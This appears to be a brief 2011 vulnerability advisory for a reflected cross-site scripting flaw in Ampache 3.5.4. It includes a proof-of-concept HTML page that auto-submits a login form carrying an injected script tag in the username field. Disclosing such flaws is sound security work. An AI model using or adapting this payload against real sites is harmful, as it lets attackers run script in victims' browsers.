| Software | Vulnerability | ||
|---|---|---|---|
| Ampache 3.5.4 | Reflected Cross-site Scripting | ||
| Threat | Tested On | Date | |
|
1/5
|
Windows Vista + XAMPP | 5/5/2011 | |
| Description | |||
| A vulnerability in Ampache 3.5.4 can be exploited to execute arbitrary JavaScript. | |||
| Proof of Concept | |||
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://localhost/ampache-3.5.4/login.php">
<input type="hidden" name="username" value=""><script>alert(0)</script>" />
</form>
</body>
</html> |
|||